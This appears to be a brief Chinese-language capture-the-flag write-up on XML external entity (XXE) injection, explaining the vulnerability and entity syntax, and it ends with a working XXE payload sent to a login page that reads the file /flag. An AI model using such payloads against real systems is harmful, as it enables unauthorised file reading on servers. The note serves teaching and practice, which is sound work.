知识点:XML实体注入漏洞(XXE)
原理:XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
查看源代码,访问doLogin.php
访问doLogin.php,提示加载外部xml实体
- DOCTYPE(文档类型定义的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
内部实体
<!ENTITY 实体名称 "实体的值">
外部实体
<!ENTITY 实体名称 SYSTEM "URL">
因为本题是要外部实体加载,所以用下面一个
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>1123</password></user>
//&admin;这个东西有点像css中的id和class,资源定位器